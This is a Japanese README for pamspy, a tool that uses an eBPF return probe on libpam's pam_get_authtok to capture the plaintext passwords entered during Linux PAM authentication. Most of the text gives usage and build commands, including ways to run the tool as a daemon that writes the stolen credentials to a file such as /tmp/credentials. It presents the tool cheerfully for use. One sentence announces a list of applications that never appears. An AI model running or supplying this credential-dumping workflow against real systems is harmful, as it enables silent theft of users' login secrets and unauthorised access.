
pamspy は eBPF 技術を活用し、3snake と同等の動作を実現します。
PAM (Pluggable Authentication Modules) ライブラリ内の特定のユーザーランド関数を追跡します。このライブラリは、以下のような多くの重要なアプリケーションで認証処理に使用されています:

pamspy は静的バイナリとしてビルドされており、依存関係はありません。リリースページ から入手できます。
Usage: pamspy [OPTION...]
pamspy
Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so
USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0
-d, --daemon=PATH TO OUTPUT CREDENTIALS
Start pamspy in daemon mode and output in the file
passed as argument
-p, --path=PATH Path to the libpam.so file
-r, --print-headers Print headers of the program
-v, --verbose Verbose mode
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version
Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
Report bugs to .
pamspy は libpam に依存しているため、お使いのディストリビューションで libpam がインストールされているパスを指定する必要があります。以下のコマンドで libpam の場所を確認できます:
> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0
パスがわかったら、pamspy を起動できます:
> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0
pamspy を簡単に起動するには、次のコマンドを使用します:
> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)
pamspy は、認証情報を書き込む出力ファイルを指定することでデーモンモードで起動することもできます:
./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials
静的バイナリをビルドするには、サードパーティのプログラムが必要です。eBPF には、C コードを eBPF CO-RE コードにコンパイルする clang が必要です。また、eBPF プログラムからスケルトンを作成してユーザーランドプログラムに組み込むために bpftool に依存しています。さらに、libpam 内の正しいシンボルを見つけるために libelf も必要です。
sudo apt install make clang-11 gcc libelf-dev bpftool
あとはビルドするだけです!
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make
pamspy は、libpam.so の pam_get_authtok 関数をフックするユーザーランドリターンプローブ eBPF プログラムをロードします。
PAM は "Pluggable Authentication Modules" の略で、Linux 上でさまざまな種類の認証を管理する柔軟な設計を持っています。
認証プロセスが新しいユーザーを確認しようとするたびに、pam_get_authtok を呼び出し、そこで重要な秘密情報の内容をダンプします!
簡単ですね!お楽しみください!
@blendin 氏の 3snake ツールに感謝します!!!